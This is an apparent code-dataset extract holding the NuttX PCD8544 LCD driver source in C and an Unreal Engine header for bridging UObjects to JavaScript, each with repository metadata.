hexsha
stringlengths
40
40
size
int64
22
2.4M
ext
stringclasses
5 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
260
max_stars_repo_name
stringlengths
5
109
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
9
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
260
max_issues_repo_name
stringlengths
5
109
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
9
max_issues_count
float64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
260
max_forks_repo_name
stringlengths
5
109
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
9
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
22
2.4M
avg_line_length
float64
5
169k
max_line_length
int64
5
786k
alphanum_fraction
float64
0.06
0.95
matches
listlengths
1
11
c5d3c86fa1c5453f1fe9d6a349d0b79481c52f0a
28,773
c
C
drivers/lcd/pcd8544.c
liuweisword/Nuttx
63775322bf25adb406594f8e610122fe0cef2f7a
[ "Zlib" ]
1
2020-11-09T11:30:59.000Z
2020-11-09T11:30:59.000Z
drivers/lcd/pcd8544.c
liuweisword/Nuttx
63775322bf25adb406594f8e610122fe0cef2f7a
[ "Zlib" ]
1
2020-11-15T13:35:30.000Z
2020-11-15T13:35:30.000Z
drivers/lcd/pcd8544.c
liuweisword/Nuttx
63775322bf25adb406594f8e610122fe0cef2f7a
[ "Zlib" ]
1
2022-02-24T08:39:31.000Z
2022-02-24T08:39:31.000Z
/************************************************************************************** * drivers/lcd/pcd8544.c * * Driver for the Philips PCD8544 Display controller * * Copyright (C) 2017 Alan Carvalho de Assis. All rights reserved. * Author: Alan Carvalho de Assis <acassis@gmail.com> * * Based on drivers/lcd/pcd8544.c. * * Copyright (C) 2013 Zilogic Systems. All rights reserved. * Author: Manikandan <code@zilogic.com> * * Copyright (C) 2011 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <gnutt@nuttx.org> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * **************************************************************************************/ /************************************************************************************** * Included Files **************************************************************************************/ #include <nuttx/config.h> #include <sys/types.h> #include <stdint.h> #include <stdbool.h> #include <string.h> #include <errno.h> #include <debug.h> #include <nuttx/arch.h> #include <nuttx/spi/spi.h> #include <nuttx/lcd/lcd.h> #include <nuttx/lcd/pcd8544.h> #include "pcd8544.h" /************************************************************************************** * Pre-processor Definitions **************************************************************************************/ /* Configuration **********************************************************************/ /* PCD8544 Configuration Settings: * * CONFIG_PCD8544_SPIMODE - Controls the SPI mode * CONFIG_PCD8544_FREQUENCY - Define to use a different bus frequency * CONFIG_PCD8544_NINTERFACES - Specifies the number of physical * PCD8544 devices that will be supported. NOTE: At present, this * must be undefined or defined to be 1. * CONFIG_LCD_PCD8544DEBUG - Enable detailed PCD8544 debug pcd8544 output * (CONFIG_DEBUG_FEATURES and CONFIG_VERBOSE must also be enabled). * * Required LCD driver settings: * CONFIG_LCD_PCD8544 - Enable PCD8544 support * CONFIG_LCD_MAXCONTRAST should be 255, but any value >0 and <=255 will be accepted. * CONFIG_LCD_MAXPOWER should be 1: 0=off, 1=normal * * Required SPI driver settings: * CONFIG_SPI_CMDDATA - Include support for cmd/data selection. */ /* Verify that all configuration requirements have been met */ #ifndef CONFIG_PCD8544_SPIMODE # define CONFIG_PCD8544_SPIMODE SPIDEV_MODE0 #endif /* SPI frequency */ #ifndef CONFIG_PCD8544_FREQUENCY # define CONFIG_PCD8544_FREQUENCY 3000000 #endif /* CONFIG_PCD8544_NINTERFACES determines the number of physical interfaces * that will be supported. */ #ifndef CONFIG_PCD8544_NINTERFACES # define CONFIG_PCD8544_NINTERFACES 1 #endif #if CONFIG_PCD8544_NINTERFACES != 1 # warning "Only a single PCD8544 interface is supported" # undef CONFIG_PCD8544_NINTERFACES # define CONFIG_PCD8544_NINTERFACES 1 #endif /* Verbose debug pcd8544 must also be enabled to use the extra OLED debug pcd8544 */ #ifndef CONFIG_DEBUG_FEATURES # undef CONFIG_DEBUG_INFO # undef CONFIG_DEBUG_GRAPHICS #endif #ifndef CONFIG_DEBUG_INFO # undef CONFIG_LCD_PCD8544DEBUG #endif /* Check contrast selection */ #ifndef CONFIG_LCD_MAXCONTRAST # define CONFIG_LCD_MAXCONTRAST 127 #endif #if CONFIG_LCD_MAXCONTRAST <= 0 || CONFIG_LCD_MAXCONTRAST > 127 # error "CONFIG_LCD_MAXCONTRAST exceeds supported maximum" #endif #if CONFIG_LCD_MAXCONTRAST < 60 # warning "Optimal setting of CONFIG_LCD_MAXCONTRAST is 60" #endif /* Check power setting */ #if !defined(CONFIG_LCD_MAXPOWER) # define CONFIG_LCD_MAXPOWER 1 #endif #if CONFIG_LCD_MAXPOWER != 1 # warning "CONFIG_LCD_MAXPOWER should be 1" # undef CONFIG_LCD_MAXPOWER # define CONFIG_LCD_MAXPOWER 1 #endif /* The Display requires CMD/DATA SPI support */ #ifndef CONFIG_SPI_CMDDATA # error "CONFIG_SPI_CMDDATA must be defined in your NuttX configuration" #endif /* Color is 1bpp monochrome with leftmost column contained in bits 0 */ #ifdef CONFIG_NX_DISABLE_1BPP # warning "1 bit-per-pixel support needed" #endif /* Color Properties *******************************************************************/ /* The PCD8544 display controller can handle a resolution of 84x48. */ /* Display Resolution */ #ifdef CONFIG_PCD8544_XRES #define PCD8544_XRES CONFIG_PCD8544_XRES #else #define PCD8544_XRES 84 #endif #ifdef CONFIG_PCD8544_YRES #define PCD8544_YRES CONFIG_PCD8544_YRES #else #define PCD8544_YRES 48 #endif /* Color depth and format */ #define PCD8544_BPP 1 #define PCD8544_COLORFMT FB_FMT_Y1 /* Bytes per logical row and actual device row */ #define PCD8544_XSTRIDE (PCD8544_XRES >> 3) /* Pixels arrange "horizontally for user" */ #define PCD8544_YSTRIDE (PCD8544_YRES >> 3) /* But actual device arrangement is "vertical" */ /* The size of the shadow frame buffer */ #define PCD8544_FBSIZE (PCD8544_XRES * PCD8544_YSTRIDE) /* Bit helpers */ #define LS_BIT (1 << 0) #define MS_BIT (1 << 7) /************************************************************************************** * Private Type Definition **************************************************************************************/ /* This structure describes the state of this driver */ struct pcd8544_dev_s { /* Publically visible device structure */ struct lcd_dev_s dev; /* Private LCD-specific information follows */ FAR struct spi_dev_s *spi; uint8_t contrast; uint8_t powered; /* The PCD8544 does not support reading from the display memory in SPI mode. * Since there is 1 BPP and access is byte-by-byte, it is necessary to keep * a shadow copy of the framebuffer memory. */ uint8_t fb[PCD8544_FBSIZE]; }; /************************************************************************************** * Private Function Protototypes **************************************************************************************/ /* SPI helpers */ static void pcd8544_select(FAR struct spi_dev_s *spi); static void pcd8544_deselect(FAR struct spi_dev_s *spi); /* LCD Data Transfer Methods */ static int pcd8544_putrun(fb_coord_t row, fb_coord_t col, FAR const uint8_t *buffer, size_t npixels); static int pcd8544_getrun(fb_coord_t row, fb_coord_t col, FAR uint8_t *buffer, size_t npixels); /* LCD Configuration */ static int pcd8544_getvideoinfo(FAR struct lcd_dev_s *dev, FAR struct fb_videoinfo_s *vinfo); static int pcd8544_getplaneinfo(FAR struct lcd_dev_s *dev, unsigned int planeno, FAR struct lcd_planeinfo_s *pinfo); /* LCD RGB Mapping */ #ifdef CONFIG_FB_CMAP # error "RGB color mapping not supported by this driver" #endif /* Cursor Controls */ #ifdef CONFIG_FB_HWCURSOR # error "Cursor control not supported by this driver" #endif /* LCD Specific Controls */ static int pcd8544_getpower(struct lcd_dev_s *dev); static int pcd8544_setpower(struct lcd_dev_s *dev, int power); static int pcd8544_getcontrast(struct lcd_dev_s *dev); static int pcd8544_setcontrast(struct lcd_dev_s *dev, unsigned int contrast); /* Initialization */ static inline void up_clear(FAR struct pcd8544_dev_s *priv); /************************************************************************************** * Private Data **************************************************************************************/ /* This is working memory allocated by the LCD driver for each LCD device * and for each color plane. This memory will hold one raster line of data. * The size of the allocated run buffer must therefore be at least * (bpp * xres / 8). Actual alignment of the buffer must conform to the * bitwidth of the underlying pixel type. * * If there are multiple planes, they may share the same working buffer * because different planes will not be operate on concurrently. However, * if there are multiple LCD devices, they must each have unique run buffers. */ static uint8_t g_runbuffer[PCD8544_XSTRIDE+1]; /* This structure describes the overall LCD video controller */ static const struct fb_videoinfo_s g_videoinfo = { PCD8544_COLORFMT, /* Color format: RGB16-565: RRRR RGGG GGGB BBBB */ PCD8544_XRES, /* Horizontal resolution in pixel columns */ PCD8544_YRES, /* Vertical resolution in pixel rows */ 1, /* Number of color planes supported */ }; /* This is the standard, NuttX Plane information object */ static const struct lcd_planeinfo_s g_planeinfo = { pcd8544_putrun, /* Put a run into LCD memory */ pcd8544_getrun, /* Get a run from LCD memory */ (FAR uint8_t *)g_runbuffer, /* Run scratch buffer */ PCD8544_BPP, /* Bits-per-pixel */ }; /* This is the standard, NuttX LCD driver object */ static struct pcd8544_dev_s g_pcd8544dev = { /* struct lcd_dev_s */ { /* LCD Configuration */ pcd8544_getvideoinfo, pcd8544_getplaneinfo, /* LCD RGB Mapping -- Not supported */ #ifdef CONFIG_FB_CMAP NULL, NULL, #endif /* Cursor Controls -- Not supported */ #ifdef CONFIG_FB_HWCURSOR NULL, NULL, #endif /* LCD Specific Controls */ pcd8544_getpower, pcd8544_setpower, pcd8544_getcontrast, pcd8544_setcontrast, }, }; /************************************************************************************** * Private Functions **************************************************************************************/ /************************************************************************************** * Name: pcd8544_powerstring * * Description: * Convert the power setting to a string. * **************************************************************************************/ static inline FAR const char *pcd8544_powerstring(uint8_t power) { if (power == PCD8544_POWER_OFF) { return "OFF"; } else if (power == PCD8544_POWER_ON) { return "ON"; } else { return "ERROR"; } } /************************************************************************************** * Name: pcd8544_select * * Description: * Select the SPI, locking and re-configuring if necessary * * Parameters: * spi - Reference to the SPI driver structure * * Returned Value: * None * * Assumptions: * **************************************************************************************/ static void pcd8544_select(FAR struct spi_dev_s *spi) { /* Select PCD8544 chip (locking the SPI bus in case there are multiple * devices competing for the SPI bus */ SPI_LOCK(spi, true); SPI_SELECT(spi, SPIDEV_DISPLAY(0), true); /* Now make sure that the SPI bus is configured for the PCD8544 (it * might have gotten configured for a different device while unlocked) */ SPI_SETMODE(spi, CONFIG_PCD8544_SPIMODE); SPI_SETBITS(spi, 8); (void)SPI_HWFEATURES(spi, 0); (void)SPI_SETFREQUENCY(spi, CONFIG_PCD8544_FREQUENCY); } /************************************************************************************** * Name: pcd8544_deselect * * Description: * De-select the SPI * * Parameters: * spi - Reference to the SPI driver structure * * Returned Value: * None * * Assumptions: * **************************************************************************************/ static void pcd8544_deselect(FAR struct spi_dev_s *spi) { /* De-select PCD8544 chip and relinquish the SPI bus. */ SPI_SELECT(spi, SPIDEV_DISPLAY(0), false); SPI_LOCK(spi, false); } /************************************************************************************** * Name: pcd8544_putrun * * Description: * This method can be used to write a partial raster line to the LCD: * * row - Starting row to write to (range: 0 <= row < yres) * col - Starting column to write to (range: 0 <= col <= xres-npixels) * buffer - The buffer containing the run to be written to the LCD * npixels - The number of pixels to write to the LCD * (range: 0 < npixels <= xres-col) * **************************************************************************************/ static int pcd8544_putrun(fb_coord_t row, fb_coord_t col, FAR const uint8_t *buffer, size_t npixels) { /* Because of this line of code, we will only be able to support a single PCD8544 device */ FAR struct pcd8544_dev_s *priv = &g_pcd8544dev; FAR uint8_t *fbptr; FAR uint8_t *ptr; uint8_t fbmask; uint8_t page; uint8_t usrmask; uint8_t i; int pixlen; ginfo("row: %d col: %d npixels: %d\n", row, col, npixels); DEBUGASSERT(buffer); /* Clip the run to the display */ pixlen = npixels; if ((unsigned int)col + (unsigned int)pixlen > (unsigned int)PCD8544_XRES) { pixlen = (int)PCD8544_XRES - (int)col; } /* Verify that some portion of the run remains on the display */ if (pixlen <= 0 || row > PCD8544_YRES) { return OK; } /* Get the page number. The range of 48 lines is divided up into six * pages of 8 lines each. */ page = row >> 3; /* Update the shadow frame buffer memory. First determine the pixel * position in the frame buffer memory. Pixels are organized like * this: * * --------+---+---+---+---+-...-+----+ * Segment | 0 | 1 | 2 | 3 | ... | 83 | * --------+---+---+---+---+-...-+----+ * Bit 0 | | X | | | | | * Bit 1 | | X | | | | | * Bit 2 | | X | | | | | * Bit 3 | | X | | | | | * Bit 4 | | X | | | | | * Bit 5 | | X | | | | | * Bit 6 | | X | | | | | * Bit 7 | | X | | | | | * --------+---+---+---+---+-...-+----+ * * So, in order to draw a white, horizontal line, at row 45. we * would have to modify all of the bytes in page 45/8 = 5. We * would have to set bit 45%8 = 5 in every byte in the page. */ fbmask = 1 << (row & 7); fbptr = &priv->fb[page * PCD8544_XRES + col]; ptr = fbptr; #ifdef CONFIG_NX_PACKEDMSFIRST usrmask = MS_BIT; #else usrmask = LS_BIT; #endif for (i = 0; i < pixlen; i++) { /* Set or clear the corresponding bit */ if ((*buffer & usrmask) != 0) { *ptr++ |= fbmask; } else { *ptr++ &= ~fbmask; } /* Inc/Decrement to the next source pixel */ #ifdef CONFIG_NX_PACKEDMSFIRST if (usrmask == LS_BIT) { buffer++; usrmask = MS_BIT; } else { usrmask >>= 1; } #else if (usrmask == MS_BIT) { buffer++; usrmask = LS_BIT; } else { usrmask <<= 1; } #endif } /* Select and lock the device */ pcd8544_select(priv->spi); /* Select command transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), true); /* Set the starting position for the run */ (void)SPI_SEND(priv->spi, PCD8544_SET_Y_ADDR+page); /* Set the page start */ (void)SPI_SEND(priv->spi, PCD8544_SET_X_ADDR + (col & 0x7f)); /* Set the low column */ /* Select data transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), false); /* Then transfer all of the data */ (void)SPI_SNDBLOCK(priv->spi, fbptr, pixlen); /* Unlock and de-select the device */ pcd8544_deselect(priv->spi); return OK; } /************************************************************************************** * Name: pcd8544_getrun * * Description: * This method can be used to read a partial raster line from the LCD: * * row - Starting row to read from (range: 0 <= row < yres) * col - Starting column to read read (range: 0 <= col <= xres-npixels) * buffer - The buffer in which to return the run read from the LCD * npixels - The number of pixels to read from the LCD * (range: 0 < npixels <= xres-col) * **************************************************************************************/ static int pcd8544_getrun(fb_coord_t row, fb_coord_t col, FAR uint8_t *buffer, size_t npixels) { /* Because of this line of code, we will only be able to support a single PCD8544 device */ FAR struct pcd8544_dev_s *priv = &g_pcd8544dev; FAR uint8_t *fbptr; uint8_t page; uint8_t fbmask; uint8_t usrmask; uint8_t i; int pixlen; ginfo("row: %d col: %d npixels: %d\n", row, col, npixels); DEBUGASSERT(buffer); /* Clip the run to the display */ pixlen = npixels; if ((unsigned int)col + (unsigned int)pixlen > (unsigned int)PCD8544_XRES) { pixlen = (int)PCD8544_XRES - (int)col; } /* Verify that some portion of the run is actually the display */ if (pixlen <= 0 || row > PCD8544_YRES) { return -EINVAL; } /* Then transfer the display data from the shadow frame buffer memory */ /* Get the page number. The range of 48 lines is divided up into six * pages of 8 lines each. */ page = row >> 3; /* Update the shadow frame buffer memory. First determine the pixel * position in the frame buffer memory. Pixels are organized like * this: * * --------+---+---+---+---+-...-+----+ * Segment | 0 | 1 | 2 | 3 | ... | 83 | * --------+---+---+---+---+-...-+----+ * Bit 0 | | X | | | | | * Bit 1 | | X | | | | | * Bit 2 | | X | | | | | * Bit 3 | | X | | | | | * Bit 4 | | X | | | | | * Bit 5 | | X | | | | | * Bit 6 | | X | | | | | * Bit 7 | | X | | | | | * --------+---+---+---+---+-...-+----+ * * So, in order to draw a white, horizontal line, at row 45. we * would have to modify all of the bytes in page 45/8 = 5. We * would have to set bit 45%8 = 5 in every byte in the page. */ fbmask = 1 << (row & 7); fbptr = &priv->fb[page * PCD8544_XRES + col]; #ifdef CONFIG_NX_PACKEDMSFIRST usrmask = MS_BIT; #else usrmask = LS_BIT; #endif *buffer = 0; for (i = 0; i < pixlen; i++) { /* Set or clear the corresponding bit */ uint8_t byte = *fbptr++; if ((byte & fbmask) != 0) { *buffer |= usrmask; } /* Inc/Decrement to the next destination pixel. Hmmmm. It looks like * this logic could write past the end of the user buffer. Revisit * this! */ #ifdef CONFIG_NX_PACKEDMSFIRST if (usrmask == LS_BIT) { buffer++; *buffer = 0; usrmask = MS_BIT; } else { usrmask >>= 1; } #else if (usrmask == MS_BIT) { buffer++; *buffer = 0; usrmask = LS_BIT; } else { usrmask <<= 1; } #endif } return OK; } /************************************************************************************** * Name: pcd8544_getvideoinfo * * Description: * Get information about the LCD video controller configuration. * **************************************************************************************/ static int pcd8544_getvideoinfo(FAR struct lcd_dev_s *dev, FAR struct fb_videoinfo_s *vinfo) { DEBUGASSERT(dev && vinfo); ginfo("fmt: %d xres: %d yres: %d nplanes: %d\n", g_videoinfo.fmt, g_videoinfo.xres, g_videoinfo.yres, g_videoinfo.nplanes); memcpy(vinfo, &g_videoinfo, sizeof(struct fb_videoinfo_s)); return OK; } /************************************************************************************** * Name: pcd8544_getplaneinfo * * Description: * Get information about the configuration of each LCD color plane. * **************************************************************************************/ static int pcd8544_getplaneinfo(FAR struct lcd_dev_s *dev, unsigned int planeno, FAR struct lcd_planeinfo_s *pinfo) { DEBUGASSERT(dev && pinfo && planeno == 0); ginfo("planeno: %d bpp: %d\n", planeno, g_planeinfo.bpp); memcpy(pinfo, &g_planeinfo, sizeof(struct lcd_planeinfo_s)); return OK; } /************************************************************************************** * Name: pcd8544_getpower * * Description: * Get the LCD panel power status (0: full off - CONFIG_LCD_MAXPOWER: full on). On * backlit LCDs, this setting may correspond to the backlight setting. * **************************************************************************************/ static int pcd8544_getpower(struct lcd_dev_s *dev) { struct pcd8544_dev_s *priv = (struct pcd8544_dev_s *)dev; DEBUGASSERT(priv); ginfo("powered: %s\n", pcd8544_powerstring(priv->powered)); return priv->powered; } /************************************************************************************** * Name: pcd8544_setpower * * Description: * Enable/disable LCD panel power (0: full off - CONFIG_LCD_MAXPOWER: full on). On * backlit LCDs, this setting may correspond to the backlight setting. * **************************************************************************************/ static int pcd8544_setpower(struct lcd_dev_s *dev, int power) { struct pcd8544_dev_s *priv = (struct pcd8544_dev_s *)dev; DEBUGASSERT(priv && (unsigned)power <= CONFIG_LCD_MAXPOWER); ginfo("power: %s powered: %s\n", pcd8544_powerstring(power), pcd8544_powerstring(priv->powered)); /* Select and lock the device */ pcd8544_select(priv->spi); /* Select command transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), true); if (power <= PCD8544_POWER_OFF) { /* Turn the display off (power-down) */ (void)SPI_SEND(priv->spi, (PCD8544_FUNC_SET | PCD8544_POWER_DOWN)); priv->powered = PCD8544_POWER_OFF; } else { /* Leave the power-down */ (void)SPI_SEND(priv->spi, PCD8544_FUNC_SET); priv->powered = PCD8544_POWER_ON; } /* Select data transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), false); /* Let go of the SPI lock and de-select the device */ pcd8544_deselect(priv->spi); return OK; } /************************************************************************************** * Name: pcd8544_getcontrast * * Description: * Get the current contrast setting (0-CONFIG_LCD_MAXCONTRAST). * **************************************************************************************/ static int pcd8544_getcontrast(struct lcd_dev_s *dev) { struct pcd8544_dev_s *priv = (struct pcd8544_dev_s *)dev; DEBUGASSERT(priv); return (int)priv->contrast; } /************************************************************************************** * Name: pcd8544_setcontrast * * Description: * Set LCD panel contrast (0-CONFIG_LCD_MAXCONTRAST). * **************************************************************************************/ static int pcd8544_setcontrast(struct lcd_dev_s *dev, unsigned int contrast) { struct pcd8544_dev_s *priv = (struct pcd8544_dev_s *)dev; ginfo("contrast: %d\n", contrast); DEBUGASSERT(priv); if (contrast > 127) { return -EINVAL; } /* Save the contrast */ priv->contrast = contrast; /* Select and lock the device */ pcd8544_select(priv->spi); /* Select command transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), true); /* Select the extended instruction set ( H = 1 ) */ (void)SPI_SEND(priv->spi, (PCD8544_FUNC_SET | PCD8544_MODEH)); /* Set the contrast */ (void)SPI_SEND(priv->spi, (PCD8544_WRITE_VOP | contrast) ); /* Return to normal mode */ (void)SPI_SEND(priv->spi, PCD8544_FUNC_SET); /* Select data transfer */ SPI_CMDDATA(priv->spi, SPIDEV_DISPLAY(0), false); /* Let go of the SPI lock and de-select the device */ pcd8544_deselect(priv->spi); return OK; } /************************************************************************************** * Name: up_clear * * Description: * Clear the display. * **************************************************************************************/ static inline void up_clear(FAR struct pcd8544_dev_s *priv) { FAR struct spi_dev_s *spi = priv->spi; int page; int i; /* Clear the framebuffer */ memset(priv->fb, PCD8544_Y1_BLACK, PCD8544_FBSIZE); /* Select and lock the device */ pcd8544_select(priv->spi); /* Go throw pcd8544 all 6 pages */ for (page = 0, i = 0; i < 6; i++) { /* Select command transfer */ SPI_CMDDATA(spi, SPIDEV_DISPLAY(0), true); /* Set the starting position for the run */ (void)SPI_SEND(priv->spi, PCD8544_SET_Y_ADDR+i); /* Set the page start */ (void)SPI_SEND(priv->spi, PCD8544_SET_X_ADDR + page); /* Set the column */ /* Select data transfer */ SPI_CMDDATA(spi, SPIDEV_DISPLAY(0), false); /* Then transfer all 84 columns of data */ (void)SPI_SNDBLOCK(priv->spi, &priv->fb[page * PCD8544_XRES], PCD8544_XRES); } /* Unlock and de-select the device */ pcd8544_deselect(spi); } /************************************************************************************** * Public Functions **************************************************************************************/ /************************************************************************************** * Name: pcd8544_initialize * * Description: * Initialize the PCD8544 video hardware. The initial state of the * OLED is fully initialized, display memory cleared, and the OLED ready to * use, but with the power setting at 0 (full off == sleep mode). * * Input Parameters: * * spi - A reference to the SPI driver instance. * devno - A value in the range of 0 thropcd8544h CONFIG_PCD8544_NINTERFACES-1. * This allows support for multiple OLED devices. * * Returned Value: * * On success, this function returns a reference to the LCD object for the specified * OLED. NULL is returned on any failure. * **************************************************************************************/ FAR struct lcd_dev_s *pcd8544_initialize(FAR struct spi_dev_s *spi, unsigned int devno) { /* Configure and enable LCD */ FAR struct pcd8544_dev_s *priv = &g_pcd8544dev; ginfo("Initializing\n"); DEBUGASSERT(spi && devno == 0); /* Save the reference to the SPI device */ priv->spi = spi; /* Select and lock the device */ pcd8544_select(spi); /* Select command transfer */ SPI_CMDDATA(spi, SPIDEV_DISPLAY(0), true); /* Leave the power-down and select extended instruction set mode H = 1 */ (void)SPI_SEND(spi, (PCD8544_FUNC_SET | PCD8544_MODEH)); /* Set LCD Bias to n = 3 */ (void)SPI_SEND(spi, (PCD8544_BIAS_SYSTEM | PCD8544_BIAS_BS2)); /* Select the normal instruction set mode H = 0 */ (void)SPI_SEND(spi, PCD8544_FUNC_SET); /* Clear the screen */ (void)SPI_SEND(spi, (PCD8544_DISP_CTRL | PCD8544_DISP_BLANK)); /* Set the Display Control to Normal Mode D = 1 and E = 0 */ (void)SPI_SEND(spi, (PCD8544_DISP_CTRL | PCD8544_DISP_NORMAL)); /* Select data transfer */ SPI_CMDDATA(spi, SPIDEV_DISPLAY(0), false); /* Let go of the SPI lock and de-select the device */ pcd8544_deselect(spi); /* Clear the framebuffer */ up_mdelay(100); up_clear(priv); return &priv->dev; }
28.516353
98
0.565009
[ "object" ]
c5d470631cbd7975bb31613406e27c3676f39870
3,485
h
C
Engine/Source/Runtime/WebBrowser/Private/WebJSScripting.h
windystrife/UnrealEngine_NVIDIAGameWork
b50e6338a7c5b26374d66306ebc7807541ff815e
[ "MIT" ]
1
2022-01-29T18:36:12.000Z
2022-01-29T18:36:12.000Z
Engine/Source/Runtime/WebBrowser/Private/WebJSScripting.h
windystrife/UnrealEngine_NVIDIAGameWork
b50e6338a7c5b26374d66306ebc7807541ff815e
[ "MIT" ]
null
null
null
Engine/Source/Runtime/WebBrowser/Private/WebJSScripting.h
windystrife/UnrealEngine_NVIDIAGameWork
b50e6338a7c5b26374d66306ebc7807541ff815e
[ "MIT" ]
null
null
null
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #pragma once #include "CoreMinimal.h" #include "Misc/Guid.h" #include "WebJSFunction.h" #include "UObject/GCObject.h" class Error; /** * Implements handling of bridging UObjects client side with JavaScript renderer side. */ class FWebJSScripting : public FGCObject { public: FWebJSScripting(bool bInJSBindingToLoweringEnabled) : BaseGuid(FGuid::NewGuid()) , bJSBindingToLoweringEnabled(bInJSBindingToLoweringEnabled) {} virtual void BindUObject(const FString& Name, UObject* Object, bool bIsPermanent = true) =0; virtual void UnbindUObject(const FString& Name, UObject* Object = nullptr, bool bIsPermanent = true) =0; virtual void InvokeJSFunction(FGuid FunctionId, int32 ArgCount, FWebJSParam Arguments[], bool bIsError=false) =0; virtual void InvokeJSErrorResult(FGuid FunctionId, const FString& Error) =0; FString GetBindingName(const FString& Name, UObject* Object) const { return bJSBindingToLoweringEnabled ? Name.ToLower() : Name; } FString GetBindingName(const UField* Property) const { return bJSBindingToLoweringEnabled ? Property->GetName().ToLower() : Property->GetName(); } public: // FGCObject API virtual void AddReferencedObjects( FReferenceCollector& Collector ) override { // Ensure bound UObjects are not garbage collected as long as this object is valid. for (auto& Binding : BoundObjects) { Collector.AddReferencedObject(Binding.Key); } } protected: // Creates a reversible memory addres -> psuedo-guid mapping. // This is done by xoring the address with the first 64 bits of a base guid owned by the instance. // Used to identify UObjects from the render process withough exposing internal pointers. FGuid PtrToGuid(UObject* Ptr) { FGuid Guid = BaseGuid; if (Ptr == nullptr) { Guid.Invalidate(); } else { UPTRINT IntPtr = reinterpret_cast<UPTRINT>(Ptr); if (sizeof(UPTRINT) > 4) { Guid[0] ^= (static_cast<uint64>(IntPtr) >> 32); } Guid[1] ^= IntPtr & 0xFFFFFFFF; } return Guid; } // In addition to reversing the mapping, it verifies that we are currently holding on to an instance of that UObject UObject* GuidToPtr(const FGuid& Guid) { UPTRINT IntPtr = 0; if (sizeof(UPTRINT) > 4) { IntPtr = static_cast<UPTRINT>(static_cast<uint64>(Guid[0] ^ BaseGuid[0]) << 32); } IntPtr |= (Guid[1] ^ BaseGuid[1]) & 0xFFFFFFFF; UObject* Result = reinterpret_cast<UObject*>(IntPtr); if (BoundObjects.Contains(Result)) { return Result; } else { return nullptr; } } void RetainBinding(UObject* Object) { if (BoundObjects.Contains(Object)) { if(!BoundObjects[Object].bIsPermanent) { BoundObjects[Object].Refcount++; } } else { BoundObjects.Add(Object, {false, 1}); } } void ReleaseBinding(UObject* Object) { if (BoundObjects.Contains(Object)) { auto& Binding = BoundObjects[Object]; if(!Binding.bIsPermanent) { Binding.Refcount--; if (Binding.Refcount <= 0) { BoundObjects.Remove(Object); } } } } struct ObjectBinding { bool bIsPermanent; int32 Refcount; }; /** Private data */ FGuid BaseGuid; /** UObjects currently visible on the renderer side. */ TMap<UObject*, ObjectBinding> BoundObjects; /** Reverse lookup for permanent bindings */ TMap<FString, UObject*> PermanentUObjectsByName; /** The to-lowering option enable for the binding names. */ const bool bJSBindingToLoweringEnabled; };
23.869863
117
0.708752
[ "render", "object" ]
c5d5cff1f84043895894faa549c873165b42bd5e
2,818
h
C
scheduling_service/include/intersection_client.h
arseniy-sonar/carma-streets
394fc3609d417d92180c6b6c88e57d2edda9f854
[ "Apache-2.0" ]
null
null
null
scheduling_service/include/intersection_client.h
arseniy-sonar/carma-streets
394fc3609d417d92180c6b6c88e57d2edda9f854
[ "Apache-2.0" ]
null
null
null
scheduling_service/include/intersection_client.h
arseniy-sonar/carma-streets
394fc3609d417d92180c6b6c88e57d2edda9f854
[ "Apache-2.0" ]
null
null
null
